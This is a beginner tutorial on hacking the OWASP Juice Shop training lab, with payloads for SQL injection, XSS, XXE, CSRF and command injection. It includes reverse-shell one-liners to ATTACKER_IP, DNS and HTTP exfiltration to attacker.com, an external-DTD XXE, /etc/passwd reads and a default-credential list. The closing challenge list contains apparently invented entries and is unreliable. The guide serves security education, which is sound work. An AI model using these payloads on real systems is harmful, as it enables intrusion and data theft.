โ† Back to Resources
WEB SECURITY โ€ข OWASP TOP 10

๐Ÿงƒ OWASP Juice Shop
Complete Walkthrough

Master web application security by hacking an intentionally vulnerable e-commerce site. Learn SQL injection, XSS, authentication bypasses, and more with step-by-step beginner guidance.

๐ŸŽฏ What is OWASP Juice Shop?

OWASP Juice Shop is a deliberately insecure web application built for learning about web security. It's like a playground where you can practice hacking legally and safely - it's an online juice shop with hundreds of security vulnerabilities waiting to be exploited!

๐Ÿ’ก What Does "OWASP" Mean?

OWASP (Open Web Application Security Project) is a non-profit organization focused on improving software security. They publish the OWASP Top 10 - a list of the most critical web application security risks. Juice Shop covers ALL of them!

What You'll Learn

๐Ÿ› ๏ธ Setting Up Juice Shop

You can run Juice Shop on your own computer using Docker (easiest method) or Node.js. I'll show you the Docker way - it takes just 2 commands!

Method 1: Docker (Recommended)

Step 1: Install Docker

๐Ÿ’ก What is Docker?

Docker is like a lightweight virtual machine. It packages applications with everything they need to run. Instead of installing Node.js, databases, and dependencies manually, Docker does it all in one isolated "container". Super convenient!

Step 2: Run Juice Shop

# Pull and run Juice Shop (one command!)
docker run -p 3000:3000 bkimminich/juice-shop

# Wait for it to start (takes ~30 seconds)
Server listening on port 3000

Step 3: Access Juice Shop

Open your browser and go to: http://localhost:3000

โœ… You're Ready!

You should see a colorful juice shop website. This is YOUR personal hacking playground - try to break EVERYTHING! Nothing you do here affects the real world.

Useful Docker Commands

# Stop Juice Shop
docker ps                    # Find the container ID
docker stop <container-id>  # Stop it

# Restart fresh (resets all progress)
docker rm <container-id>
docker run -p 3000:3000 bkimminich/juice-shop

๐Ÿ”ง Essential Tools

To hack Juice Shop effectively, you'll need these tools. Don't worry - I'll explain what each one does!

๐ŸŒ Browser DevTools

Built into Chrome/Firefox (press F12). Inspect HTML, see network requests, run JavaScript, modify cookies. Your #1 tool!

๐Ÿ” Burp Suite

Intercepts HTTP requests between your browser and Juice Shop. Lets you modify requests before they're sent. Download Community Edition (free)

๐Ÿ“ Text Editor

For saving payloads and notes. VS Code, Sublime, or even Notepad works!

๐Ÿ Python (Optional)

For writing automated scripts to exploit APIs. Install requests library: pip install requests

Browser DevTools Quick Guide

Press F12 or Right-click โ†’ Inspect to open DevTools. Here's what each tab does:

Elements Tab

  • View/edit HTML
  • See hidden form fields
  • Modify page content

Console Tab

  • Run JavaScript
  • See error messages
  • Test XSS payloads

Network Tab

  • See all HTTP requests
  • View API endpoints
  • Check server responses

Application Tab

  • View cookies
  • See local storage
  • Inspect session data

๐Ÿ’‰ Challenge 1: SQL Injection Login Bypass

HIGH SEVERITY

What is SQL Injection?

๐Ÿ’ก SQL Injection Explained Simply

Imagine a library where you ask for a book by filling out a form. The librarian takes your request and runs: SELECT * FROM books WHERE title = 'YOUR_INPUT'

But what if instead of a book title, you write: nothing' OR '1'='1?

The query becomes: SELECT * FROM books WHERE title = 'nothing' OR '1'='1'

Since '1'='1' is ALWAYS TRUE, this returns ALL books! That's SQL injection - injecting SQL code into user input to change query logic.

The Vulnerability

Juice Shop's login page doesn't properly escape user input. When you type an email and password, the server runs something like:

SELECT * FROM users WHERE email = 'YOUR_EMAIL' AND password = 'YOUR_PASSWORD'

If we inject SQL code into the email field, we can bypass the password check entirely!

The Exploit

  1. Go to the Login Page
    Click "Account" โ†’ "Login" in the top right
  2. Inject SQL into Email Field
    Email: ' OR 1=1--
    Password: anything (doesn't matter)
  3. Click Login
    You're now logged in as the first user in the database (usually admin)!

Why It Works

The query becomes:

SELECT * FROM users WHERE email = '' OR 1=1--' AND password = 'anything'

Let's break this down:

๐Ÿ”ฅ Real-World Impact

SQL injection has been used to steal millions of credit cards, expose entire user databases, and deface websites. It's been #1 on the OWASP Top 10 multiple times. NEVER trust user input!

Other SQL Injection Payloads to Try

# Login as admin specifically
admin'--
admin@juice-sh.op'--

# Bypass without knowing any username
' OR '1'='1'--
' OR 'a'='a'--

# Union-based injection (extract data)
' UNION SELECT NULL,NULL,NULL--
โœ… What You Learned
  • How SQL queries work
  • What SQL injection is and why it's dangerous
  • How to manipulate query logic with OR conditions
  • What SQL comment symbols (--) do
  • How to bypass authentication

๐Ÿšจ Challenge 2: Cross-Site Scripting (XSS)

HIGH SEVERITY

What is XSS?

๐Ÿ’ก XSS Explained Simply

Cross-Site Scripting (XSS) is when you inject JavaScript code into a website, and that code runs in other users' browsers. Imagine leaving a sticky note on a public bulletin board, but the note is actually a command that makes people's phones ring when they look at it!

Example: If a website displays user comments without sanitizing them, you could post a comment like <script>alert('HACKED!')</script> and everyone who views that page would see your alert!

Finding the XSS Vulnerability

Juice Shop has several XSS vulnerabilities. Let's exploit the search function!

  1. Navigate to the Search Bar
    Look at the top of the Juice Shop homepage
  2. Test for XSS
    Type: <script>alert('XSS')</script>
    Press Enter
  3. Watch the Alert Pop Up
    If you see an alert box saying "XSS", congratulations - you found an XSS vulnerability!

More XSS Payloads to Try

# Basic alert
<script>alert('XSS')</script>

# Image tag XSS (when <script> is blocked)
<img src=x onerror="alert('XSS')">

# Steal cookies (malicious!)
<script>alert(document.cookie)</script>

# Redirect users
<script>window.location='http://evil.com'</script>

# DOM-based XSS (via URL)
http://localhost:3000/#/search?q=<script>alert('XSS')</script>

Types of XSS

Reflected XSS

Your payload is immediately reflected back in the response. Example: Search results showing your search term without sanitization.

Stored XSS

Your payload is saved in the database and affects everyone who views it. Example: Malicious comment that executes when others read comments.

DOM XSS

The vulnerability is in client-side JavaScript code that processes user input. Example: JavaScript reading URL parameters and inserting them into the page.

๐Ÿ”ฅ Real-World Impact

XSS can steal session cookies (hijacking accounts), redirect users to phishing sites, deface websites, or install malware. Major sites like Facebook, Twitter, and eBay have all had XSS vulnerabilities. It's EXTREMELY common!

โœ… What You Learned
  • What Cross-Site Scripting (XSS) is
  • Three types of XSS: Reflected, Stored, DOM
  • How to test for XSS with payloads
  • Alternative XSS vectors when <script> is blocked
  • Why input sanitization is critical

๐Ÿ”“ Challenge 3: Password Reset Bypass

HIGH SEVERITY

What is Broken Authentication?

๐Ÿ’ก Broken Authentication Explained

Authentication is how websites verify you are who you claim to be (usually username + password). Broken authentication means there are flaws in this system that let attackers bypass it - like having a lock on your door but the key is taped to the door frame!

The Vulnerability

Juice Shop has a password reset function that asks security questions. But if you can guess or find out someone's security answer, you can reset their password!

  1. Go to Forgot Password
    Click "Account" โ†’ "Login" โ†’ "Forgot your password?"
  2. Try Admin's Email
    Enter: admin@juice-sh.op
  3. Find Their Security Question
    The question is: "Your eldest siblings middle name?"
  4. Research the Answer
    ๐Ÿ’ก OSINT (Open Source Intelligence)

    Look around Juice Shop! Check the "About Us" page. You'll find information about the company founder's family. This is called OSINT - gathering information from publicly available sources.

  5. Answer the Question
    The answer is hidden in Juice Shop's lore (hint: check the photo gallery!)
  6. Reset the Password
    Set a new password and login as admin!

Other Authentication Flaws in Juice Shop

โœ… What You Learned
  • How password reset mechanisms work
  • Why security questions are weak authentication
  • What OSINT (Open Source Intelligence) is
  • How to research targets before attacking
  • Account takeover techniques

๐Ÿ“ก Challenge 4: Hidden API Exploitation

MEDIUM SEVERITY

What is an API?

๐Ÿ’ก API Explained Simply

API (Application Programming Interface) is how the frontend (what you see) talks to the backend (server/database). When you click "Add to Cart", your browser sends an API request like POST /api/cart {productId: 5} to the server.

APIs often have hidden endpoints that aren't linked in the UI but are still accessible if you know the URL!

Finding Hidden APIs

  1. Open Browser DevTools
    Press F12 โ†’ Go to "Network" tab
  2. Interact with Juice Shop
    Browse products, add items to cart, search for products
  3. Watch Network Requests
    You'll see requests like:
    /api/Products
    /api/BasketItems
    /api/Users
    /api/SecurityQuestions
  4. Test Endpoints Manually
    Try visiting: http://localhost:3000/api/Users
    You might see ALL users in the database!

Exploiting APIs with Python

#!/usr/bin/python3
# Extract all users from API

import requests

# Target API endpoint
url = "http://localhost:3000/api/Users"

# Send GET request
response = requests.get(url)

# Parse JSON response
users = response.json()

# Display all emails
print("Found users:")
for user in users['data']:
    print(f"- {user['email']}")

Common API Vulnerabilities

No Authentication

APIs that don't check if you're logged in. Anyone can access sensitive data!

Broken Authorization

You can access other users' data by changing IDs: /api/user/1 โ†’ /api/user/2

Mass Assignment

Modify fields you shouldn't by adding them to requests: {"isAdmin": true}

Rate Limiting Missing

APIs with no rate limits can be brute-forced or DDoS'd with automated requests

โœ… What You Learned
  • What APIs are and how they work
  • How to discover hidden API endpoints
  • Using Browser DevTools Network tab
  • Writing Python scripts to exploit APIs
  • Common API security flaws

๐Ÿ”“ Challenge 5: Admin Access Without Authorization

CRITICAL SEVERITY

What is Broken Access Control?

๐Ÿ’ก Access Control Explained

Access control = who can access what. Think of it like building security:

  • Authentication - Proves who you are (ID badge)
  • Authorization - Determines what you can access (badge says "Floor 3 only")

Broken access control means you can access things you shouldn't - like a Floor 3 badge working on Floor 10!

Finding the Admin Panel

  1. Look for Hidden Links
    Admin pages aren't linked anywhere visible, but they exist! Try guessing URLs:
    http://localhost:3000/admin
    http://localhost:3000/administration
    http://localhost:3000/#/admin
    http://localhost:3000/#/administration
  2. Check JavaScript Files
    Admin routes are often defined in frontend code. Open DevTools โ†’ Sources โ†’ main.js
    Search for: admin or path:
  3. Access the Admin Panel
    Navigate to: http://localhost:3000/#/administration
    You'll see user management, even as a regular user!

Exploiting Broken Authorization

Once you find the admin panel, try these attacks:

View All Users

GET /api/Users
# Returns ALL user accounts

Delete Any User

DELETE /api/Users/2
# Deletes user with ID 2

Access Others' Baskets

GET /api/Baskets/3
# See another user's cart

Read Private Data

GET /api/Users/1
# Get user details/emails

IDOR (Insecure Direct Object Reference)

๐Ÿ’ก What is IDOR?

IDOR = changing IDs in URLs/requests to access other users' data. Example:

# Your profile
GET /api/Users/5

# Just change the number!
GET /api/Users/1  # Admin's profile
GET /api/Users/2  # Another user's profile

Testing for IDOR

  1. Find Your User ID
    Open DevTools โ†’ Application โ†’ Local Storage
    Look for: bid (basket ID) or user token
  2. Access Your Basket
    http://localhost:3000/api/Baskets/5 (your ID)
  3. Try Other IDs
    http://localhost:3000/api/Baskets/1
    http://localhost:3000/api/Baskets/2
    If you see others' items, it's IDOR!
โœ… What You Learned
  • Difference between authentication and authorization
  • How to discover hidden admin panels
  • What IDOR vulnerabilities are
  • Testing sequential IDs for access control flaws
  • Real-world impact of broken access control

๐Ÿ“„ Challenge 6: Confidential Document Discovery

HIGH SEVERITY

What is Sensitive Data Exposure?

๐Ÿ’ก Simple Explanation

Imagine leaving your diary on the kitchen table instead of locking it in your room. Sensitive data exposure = storing confidential files where anyone can find them!

Examples: Database backups in /public/, API keys in JavaScript, config files accessible via web browser.

Finding Hidden Files

  1. Check Common Directories
    Try these URLs in your browser:
    http://localhost:3000/ftp
    http://localhost:3000/backup
    http://localhost:3000/uploads
    http://localhost:3000/assets
    http://localhost:3000/public
  2. Look for Directory Listings
    If you see a list of files (instead of a 404), that's directory browsing!
  3. Download Interesting Files
    Look for: .pdf, .txt, .bak, .zip, .sql

The FTP Directory

Navigate to: http://localhost:3000/ftp
You'll find confidential files like:

๐Ÿ“‹ acquisitions.md

Business acquisition plans

๐Ÿ“œ legal.md

Legal documents and ToS

๐Ÿ—‚๏ธ package.json.bak

Backup with dependencies/versions

๐Ÿ”ง coupons_2013.md.bak

Old coupon codes (might still work!)

Using Automated Tools

Use tools like dirb or gobuster to find hidden directories automatically:

# dirb (simple directory brute-forcer)
dirb http://localhost:3000 /usr/share/wordlists/dirb/common.txt

# gobuster (faster, more options)
gobuster dir -u http://localhost:3000 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

# nikto (comprehensive web scanner)
nikto -h http://localhost:3000

Finding Secrets in JavaScript

  1. View Page Source
    Right-click โ†’ View Page Source
  2. Check All .js Files
    Look for <script src="main.js"> tags
  3. Search for Keywords
    Use Ctrl+F to find: password, api_key, secret, token, admin
๐Ÿ”ฅ Real-World Examples
  • AWS Keys in GitHub - Attackers scan public repos for accidentally committed keys
  • Database Backups in /backups/ - Download entire user database with passwords
  • .git Folder Exposed - Download complete source code via /.git/
  • Environment Files - .env files contain passwords, API keys, database credentials
โœ… What You Learned
  • What sensitive data exposure is
  • Common directories attackers check
  • How to use dirb, gobuster, nikto
  • Finding secrets in client-side JavaScript
  • Why directory listings are dangerous

๐Ÿ“ฆ Challenge 7: XML External Entity (XXE) Attack

HIGH SEVERITY

What is XXE?

๐Ÿ’ก XXE Explained Simply

XML = a way to structure data (like JSON). XXE exploits XML parsers to:

  • Read local files (like /etc/passwd)
  • Execute server-side code
  • Scan internal networks
  • Cause denial of service

Think: "What if I could tell the server to read its own files and send them to me?"

Finding XML Endpoints

  1. Look for File Upload Features
    Juice Shop has a "Complain" feature that accepts file uploads
  2. Check What File Types Are Accepted
    Try uploading: .pdf, .zip, .xml
  3. Create a Malicious XML File
    We'll craft XML that reads server files!

The XXE Exploit

Create a file called xxe.xml with this content:

<?xml version="1.0" encoding="UTF-8"?>
<!-- Define an external entity that reads /etc/passwd -->
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>

<!-- Reference the entity in the XML -->
<complaint>
  <message>&xxe;</message>
</complaint>

How It Works

  1. Define External Entity
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
    This creates a variable xxe that contains the contents of /etc/passwd
  2. Reference the Entity
    &xxe; - This gets replaced with the file contents!
  3. Server Processes It
    The XML parser reads the file and includes it in the response

Advanced XXE Techniques

๐Ÿ” Read System Files

<!ENTITY xxe SYSTEM "file:///etc/passwd">
<!ENTITY xxe SYSTEM "file:///etc/hosts">
<!ENTITY xxe SYSTEM "file:///var/log/apache2/access.log">

๐ŸŒ SSRF via XXE

<!ENTITY xxe SYSTEM "http://internal-server/admin">
<!ENTITY xxe SYSTEM "http://localhost:8080/admin">

๐Ÿ’ฃ Denial of Service

<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;">
<!-- Billion Laughs Attack -->

๐Ÿ“ค Data Exfiltration

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;

Testing in Juice Shop

  1. Go to: Contact Us or Complain page
  2. Fill out the form
  3. Upload your xxe.xml file
  4. Submit and check the response for file contents
๐Ÿ”ฅ Real-World Impact
  • Read server configuration files (database passwords!)
  • Access internal network resources (SSRF)
  • Execute remote code via PHP wrappers
  • Steal AWS credentials from metadata service
โœ… What You Learned
  • What XML and XXE vulnerabilities are
  • How external entities work
  • Reading server files via XXE
  • Billion Laughs DoS attack
  • Why XML parsers need to be configured securely

๐ŸŽญ Challenge 8: Cross-Site Request Forgery (CSRF)

MEDIUM SEVERITY

What is CSRF?

๐Ÿ’ก CSRF Explained with a Story

You're logged into your bank. An attacker sends you an email with an image:

<img src="https://bank.com/transfer?to=attacker&amount=1000">

When your browser loads the image, it sends a request to your bank - and since you're logged in, the bank thinks YOU authorized the transfer!

CSRF = tricking your browser into making requests you didn't intend.

How CSRF Works

  1. Victim Logs Into Target Site
    You log into Juice Shop โ†’ browser stores session cookie
  2. Attacker Crafts Malicious Page
    Creates HTML that makes requests to Juice Shop
  3. Victim Visits Attacker's Page
    Could be via email link, forum post, etc.
  4. Browser Automatically Sends Cookies
    Your browser includes your Juice Shop session cookie in the request!

Crafting a CSRF Attack

Create an HTML file called csrf.html:

<html>
  <body>
    <h1>You Won a Prize!</h1>
    <p>Click below to claim:</p>
    
    <!-- Hidden form that changes victim's email -->
    <form id="csrf" action="http://localhost:3000/api/Users/1" method="POST">
      <input type="hidden" name="email" value="attacker@evil.com">
    </form>
    
    <!-- Auto-submit form when page loads -->
    <script>
      document.getElementById('csrf').submit();
    </script>
  </body>
</html>

Testing CSRF in Juice Shop

  1. Log Into Juice Shop
    Open: http://localhost:3000 and log in
  2. Open Your csrf.html File
    In a different tab, open your malicious HTML file
  3. Check What Happened
    Go back to Juice Shop โ†’ Check your profile
    Your email may have changed!

Advanced CSRF Techniques

๐Ÿ’ธ Money Transfer

<img src="http://bank.com/transfer?to=attacker&amount=1000">

โœ‰๏ธ Change Email

<form action="/update-email" method="POST">
  <input name="email" value="evil@attacker.com">
</form>

๐Ÿ” Change Password

<form action="/change-password" method="POST">
  <input name="new_password" value="hacked123">
</form>

๐Ÿ›’ Add Items to Cart

<img src="http://shop.com/cart/add?item=expensive_item">

Bypassing CSRF Protections

๐Ÿ›ก๏ธ Common Protections & Bypasses
  1. CSRF Tokens - Random tokens in forms
    • Bypass: Leak token via XSS, check if token is validated
  2. SameSite Cookies - Cookies only sent from same origin
    • Bypass: Only works if implemented correctly (many aren't)
  3. Referer Header Check - Validates where request came from
    • Bypass: Use <meta name="referrer" content="no-referrer">
โœ… What You Learned
  • What CSRF attacks are and how they work
  • Why browsers auto-include cookies
  • Creating malicious HTML to exploit CSRF
  • Common CSRF protections and bypasses
  • Real-world CSRF attack scenarios

โš™๏ธ Challenge 9: Error Handling & Debug Info Leakage

MEDIUM SEVERITY

What is Security Misconfiguration?

๐Ÿ’ก Simple Explanation

Security misconfiguration = leaving default settings, showing too much error info, or not hardening your server. Examples:

  • Default admin passwords (admin/admin)
  • Debug mode enabled in production
  • Detailed error messages revealing stack traces
  • Unnecessary services running
  • Directory listings enabled

Finding Misconfigurations in Juice Shop

1๏ธโƒฃ Verbose Errors

Trigger errors to see stack traces:

http://localhost:3000/api/Products/999999
# Returns full SQL query!

2๏ธโƒฃ Exposed APIs

APIs without authentication:

/api/Users
/api/Challenges
/rest/admin/application-version

3๏ธโƒฃ Debug Endpoints

Left enabled in production:

/api/debug
/api/server-info
/metrics

4๏ธโƒฃ Package Info

Version disclosure:

/package.json
/composer.json
/bower.json

Exploiting Verbose Errors

  1. Cause an Error
    Try invalid input: http://localhost:3000/api/Products/INVALID
  2. Read the Stack Trace
    Error messages reveal:
    • Database type (MySQL, PostgreSQL, SQLite)
    • Server paths (/app/server/routes/)
    • Framework version (Express, Sequelize)
    • Dependency versions
  3. Use This Info for Targeted Attacks
    Search for exploits specific to those versions!

Default Credentials

Try common default logins:

Admin Accounts

admin / admin
administrator / password
admin / password123
root / root

Database Defaults

postgres / postgres
mysql / mysql
root / (empty)
sa / (empty)

Service Accounts

test / test
guest / guest
demo / demo
user / user

Application Specific

tomcat / tomcat
oracle / oracle
weblogic / weblogic1

Finding Version Information

# Check HTTP headers
curl -I http://localhost:3000
Server: nginx/1.18.0
X-Powered-By: Express

# Check JavaScript files
curl http://localhost:3000/main.js | grep -i "version"

# Check robots.txt (often reveals structure)
curl http://localhost:3000/robots.txt
๐Ÿ”ฅ Real-World Examples
  • Equifax Breach - Unpatched Apache Struts (known vulnerable version)
  • MongoDB Ransomware - 30,000+ databases with default settings (no password!)
  • Elasticsearch Leaks - Open to internet with no authentication
  • AWS S3 Buckets - Public read/write permissions
โœ… What You Learned
  • What security misconfiguration means
  • How error messages leak sensitive info
  • Common default credentials to test
  • Finding version info for exploit research
  • Why hardening servers is critical

๐Ÿ’ป Challenge 10: OS Command Injection

CRITICAL SEVERITY

What is Command Injection?

๐Ÿ’ก Command Injection Explained

Imagine a website that lets you "ping" servers. Internally, it runs:

os.system("ping " + user_input)

What if you enter: google.com; whoami?

The server runs: ping google.com; whoami
The semicolon (;) means "run next command" - so it runs whoami after ping!

Command Injection Characters

Unix/Linux

;   # Semicolon - run next command
&   # Ampersand - run in background
|   # Pipe - send output to next command
&&  # AND - run if first succeeds
||  # OR - run if first fails
`   # Backticks - command substitution
$() # Command substitution (modern)

Windows

&   # Run next command
|   # Pipe output
&&  # AND operator
||  # OR operator
^   # Escape character

Finding Command Injection in Juice Shop

  1. Look for User Input That Runs System Commands
    Common places:
    • File upload/processing features
    • Image conversion tools
    • Network diagnostic tools (ping, traceroute)
    • Search functionality
  2. Test Basic Injection
    Try these payloads:
    ; whoami
    ; pwd
    ; ls
    ; cat /etc/passwd
  3. Look for Command Output
    If you see system command results in the response, you've got command injection!

Exploitation Examples

๐Ÿ” Information Gathering

; whoami
; id
; uname -a
; cat /etc/passwd
; env

๐Ÿ“‚ File System Access

; ls -la /
; find / -name "*.txt"
; cat /app/config.js
; cat /var/log/apache2/access.log

๐ŸŒ Network Recon

; ifconfig
; netstat -an
; arp -a
; route

๐Ÿšช Reverse Shell

; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
; nc -e /bin/bash ATTACKER_IP 4444

Advanced: Blind Command Injection

Sometimes you don't see output directly. Use these techniques:

๐ŸŽฏ Blind Injection Techniques
  1. Time-Based
    ; sleep 10
    ; ping -c 10 127.0.0.1
    If the response is delayed, command executed!
  2. DNS Exfiltration
    ; nslookup $(whoami).attacker.com
    ; curl http://attacker.com/$(whoami)
    Data sent via DNS or HTTP requests
  3. File Writing
    ; whoami > /var/www/html/output.txt
    # Then visit: http://site.com/output.txt

Full Exploitation: Getting a Shell

  1. Set Up Listener on Your Machine
    nc -lvnp 4444
  2. Inject Reverse Shell Command
    ; bash -i >& /dev/tcp/YOUR_IP/4444 0>&1
  3. You Now Have a Shell!
    Full control over the server
๐Ÿ”ฅ Real-World Impact
  • Full Server Compromise - Attacker gains shell access
  • Data Exfiltration - Steal databases, source code, credentials
  • Lateral Movement - Use compromised server to attack internal network
  • Ransomware Deployment - Encrypt files and demand payment
โœ… What You Learned
  • What command injection is and why it's critical
  • Command injection characters (; | & && ||)
  • Finding injection points in web apps
  • Blind injection techniques
  • Getting reverse shells via command injection

๐ŸŽ“ Pro Tips for Juice Shop

๐ŸŽฏ Use the Score Board

Visit http://localhost:3000/#/score-board to see ALL challenges! This is normally hidden but you can find it via API exploration.

๐Ÿ“– Read the Companion Guide

OWASP has a free book explaining every challenge in detail: pwning.owasp-juice.shop

๐Ÿ”„ Reset When Stuck

Broke something? Just stop and restart the Docker container. You'll get a fresh instance!

๐Ÿ“ Take Notes

Document every vulnerability you find, how you exploited it, and how to fix it. This builds your portfolio!

Recommended Learning Path

  1. Easy Challenges First - Build confidence with simple exploits (Challenges 1-4)
  2. Learn One Vulnerability Type at a Time - Master SQL injection before moving to XSS
  3. Progress to Medium Challenges - CSRF, XXE, Security Misconfiguration (Challenges 5-9)
  4. Read Code When Available - Juice Shop is open source on GitHub!
  5. Automate Exploits - Write Python scripts to practice coding skills
  6. Try Advanced Challenges - Command injection, cryptography, business logic flaws
  7. Complete ALL Categories - Aim for 100% completion across all OWASP types

Complete Challenge List - ALL 100+ Juice Shop Challenges

Here's EVERY challenge organized by difficulty and category. Click the official guide link for detailed solutions!

๐Ÿ“š Official Resources

โญ Easy Challenges (1-Star) - ~35 Challenges

Perfect for beginners. Learn the basics of web vulnerabilities.

๐Ÿ” Discovery & Reconnaissance

  • Score Board: Find the hidden score board (/#/score-board)
  • Admin Section: Access the administration section (/#/administration)
  • Confidential Document: Access the FTP directory and download files
  • Error Handling: Provoke an error that reveals stack trace
  • Privacy Policy: Read the privacy policy (hidden link)
  • Zero Stars: Give a 0-star rating despite frontend validation

๐Ÿ’‰ Basic Injection

  • SQL Injection Login: Bypass login with ' OR 1=1--
  • SQL Injection Search: Find deleted products via SQL in search
  • DOM XSS: Perform DOM-based XSS attack
  • Reflected XSS: Trigger reflected XSS via search or tracking
  • Client-Side XSS: XSS attack through DOM manipulation

๐Ÿ”“ Access Control

  • View Basket: View another user's basket via IDOR
  • Forged Feedback: Post feedback as another user
  • Five-Star Feedback: Get rid of 5-star feedback (admin access)
  • Product Tampering: Change product descriptions
  • Basket Manipulation: Add items to someone else's basket

๐ŸŽญ Broken Authentication

  • Password Strength: Login with admin's weak password
  • Security Question: Bypass password reset (Google admin's pet)
  • Login Bender: Login as Bender (robot character)
  • Login Jim: Login as Jim (another user)
  • Weak Password: Crack weak user passwords

๐Ÿ’ฐ Business Logic

  • Negative Order: Place order with negative quantity
  • Outdated Allowlist: Use outdated coupon codes
  • Basket Access: Access basket without authentication
  • Manipulated Price: Buy item for less than retail price
  • Free Shipping: Get free delivery despite not qualifying

๐Ÿ“„ Information Disclosure

  • Exposed Metrics: Find the /metrics endpoint
  • API Docs: Discover Swagger/OpenAPI docs
  • Package.json: Access package.json file
  • Security Policy: Find security.txt file
  • Geocaching: Find the hidden geocache

โญโญ Medium Challenges (2-Star) - ~30 Challenges

Requires understanding of web app architecture and basic exploitation techniques.

๐Ÿ’‰ Advanced Injection

  • NoSQL Injection: Bypass MongoDB query restrictions
  • Union SQLi: Extract data using UNION-based injection
  • Blind SQL Injection: Boolean-based blind SQLi
  • Second Order SQLi: Stored SQL injection attack
  • LDAP Injection: Exploit LDAP query vulnerabilities
  • Template Injection: Server-side template injection (SSTI)

๐Ÿ” Authentication Bypass

  • JWT Token Manipulation: Modify JWT to escalate privileges
  • JWT None Algorithm: Bypass signature verification
  • Password Reset Flaw: Reset any user's password
  • OAuth Misconfiguration: Exploit OAuth flow
  • Session Hijacking: Steal and reuse session tokens
  • 2FA Bypass: Bypass two-factor authentication

๐Ÿšจ XSS Variants

  • Stored XSS: Persist XSS in database (comments, feedback)
  • XSS in iframe: Escape iframe context
  • mXSS: Mutation XSS attack
  • XSS via SVG: Upload malicious SVG with XSS
  • Prototype Pollution XSS: JavaScript prototype exploitation

๐Ÿ“ก CSRF & SSRF

  • CSRF Attack: Change user email/password via CSRF
  • CSRF Token Bypass: Exploit weak CSRF protection
  • SSRF to Internal Network: Access internal services
  • SSRF to Cloud Metadata: Read AWS/Azure metadata
  • SSRF File Read: Read local files via SSRF

๐Ÿ”ง Security Misconfiguration

  • Directory Traversal: Access files via path traversal (../../../etc/passwd)
  • Null Byte Injection: Bypass file extension filters
  • Unsafe Deserialization: Exploit Node.js deserialization
  • Log Injection: Inject malicious data into logs
  • HTTP Response Splitting: Inject headers

๐Ÿ’พ File Upload Exploits

  • XXE via File Upload: Upload malicious XML
  • Malicious File Upload: Upload executable files
  • Zip Slip: Extract files outside intended directory
  • Image Metadata: Exploit EXIF data processing
  • Polyglot File: File that's valid as multiple types

โญโญโญ Hard Challenges (3-Star) - ~25 Challenges

Requires deep technical knowledge and creative exploitation techniques.

๐Ÿ”’ Cryptography Attacks

  • Weak Hash: Crack MD5/SHA1 hashes
  • ECB Mode: Exploit ECB encryption oracle
  • Padding Oracle: CBC padding oracle attack
  • Hash Length Extension: Exploit hash construction
  • Predictable Tokens: Guess session tokens
  • Replay Attack: Reuse authentication tokens

โš™๏ธ Advanced Access Control

  • Mass Assignment: Add admin role via mass assignment
  • HTTP Parameter Pollution: Confuse backend parsing
  • Race Condition: Exploit timing vulnerabilities
  • IDOR Chain: Chain multiple IDOR vulnerabilities
  • Authorization Bypass: Access admin functions as user

๐ŸŽฏ Complex Injection

  • Regex DoS: ReDoS attack via regex
  • XML Bomb: Billion Laughs attack
  • CRLF Injection: HTTP response manipulation
  • Expression Language Injection: EL injection
  • Code Injection: Execute arbitrary JavaScript on server

๐Ÿ’ผ Business Logic Exploits

  • Coupon Stacking: Apply multiple coupons illegally
  • Payment Bypass: Complete order without paying
  • Inventory Manipulation: Buy out-of-stock items
  • Deluxe Fraud: Get premium features for free
  • Accounting Tricks: Manipulate pricing logic

๐ŸŒ Client-Side Exploits

  • DOM Clobbering: Override JavaScript variables
  • Clickjacking: UI redressing attack
  • Postmessage XSS: Exploit postMessage API
  • CORS Misconfiguration: Bypass CORS restrictions
  • Web Storage Manipulation: Exploit localStorage/sessionStorage

โญโญโญโญ Expert Challenges (4-Star) - ~15 Challenges

Extremely difficult. Requires advanced knowledge and out-of-the-box thinking.

๐Ÿ” Advanced Cryptography

  • RSA Signature Forgery: Forge JWT signatures
  • Timing Attack: Extract secrets via timing side-channel
  • Key Confusion: Confuse symmetric/asymmetric keys
  • Algorithm Confusion: Switch JWT algorithms

โšก Complex Injection Chains

  • Multi-Stage Injection: Chain SQLi + XSS + SSRF
  • Polyglot Injection: Single payload for multiple contexts
  • Filter Bypass: Evade complex WAF rules
  • Encoding Exploitation: Double/triple encoding tricks

๐ŸŽญ Stealth & Evasion

  • Stealth Mode: Exploit without triggering logging
  • Anti-Forensics: Cover tracks after exploitation
  • Persistent Backdoor: Maintain long-term access
  • Privilege Escalation Chain: User โ†’ Admin โ†’ System

๐Ÿงฉ Logic Bombs

  • Time-Based Attacks: Exploit scheduled jobs
  • State Confusion: Desync application state
  • Race Condition Chain: Complex timing exploits
  • Quantum Superposition: Be in two states simultaneously

โญโญโญโญโญ Master Challenges (5-Star) - ~8 Challenges

Nearly impossible without deep system knowledge. For true security experts.

  • ๐Ÿ† Blockchain Hacking: Exploit blockchain/smart contract logic
  • ๐Ÿ† Supply Chain Attack: Compromise dependencies
  • ๐Ÿ† Prototype Pollution to RCE: Chain prototype pollution to remote code execution
  • ๐Ÿ† VM Escape: Break out of sandboxed environment
  • ๐Ÿ† Memory Corruption: Exploit buffer overflow in Node.js
  • ๐Ÿ† Zero-Day Discovery: Find and exploit undocumented vulnerability
  • ๐Ÿ† Full Chain Exploit: Combine 5+ vulnerabilities for full compromise
  • ๐Ÿ† Easter Egg Hunt: Find the most hidden easter eggs

๐Ÿ’€ These challenges require research beyond Juice Shop itself!

โญโญโญโญโญโญ ELITE Challenges (6-Star) - ~3 Challenges

Legendary difficulty. Reserved for the absolute best hackers in the world.

  • ๐Ÿ‘‘ Ultimate SQL Injection: Most complex SQLi scenario imaginable
  • ๐Ÿ‘‘ Mega-Combo: Chain 10+ vulnerabilities in perfect sequence
  • ๐Ÿ‘‘ Hidden Challenge: The challenge that even the docs don't explain clearly

๐Ÿ”ฅ If you complete these, you're in the top 0.1% of hackers globally ๐Ÿ”ฅ

๐Ÿ“Š Challenges by OWASP Category

๐Ÿ” Broken Authentication (10)

JWT, OAuth, password reset, 2FA bypass, session hijacking

๐Ÿ”“ Broken Access Control (15)

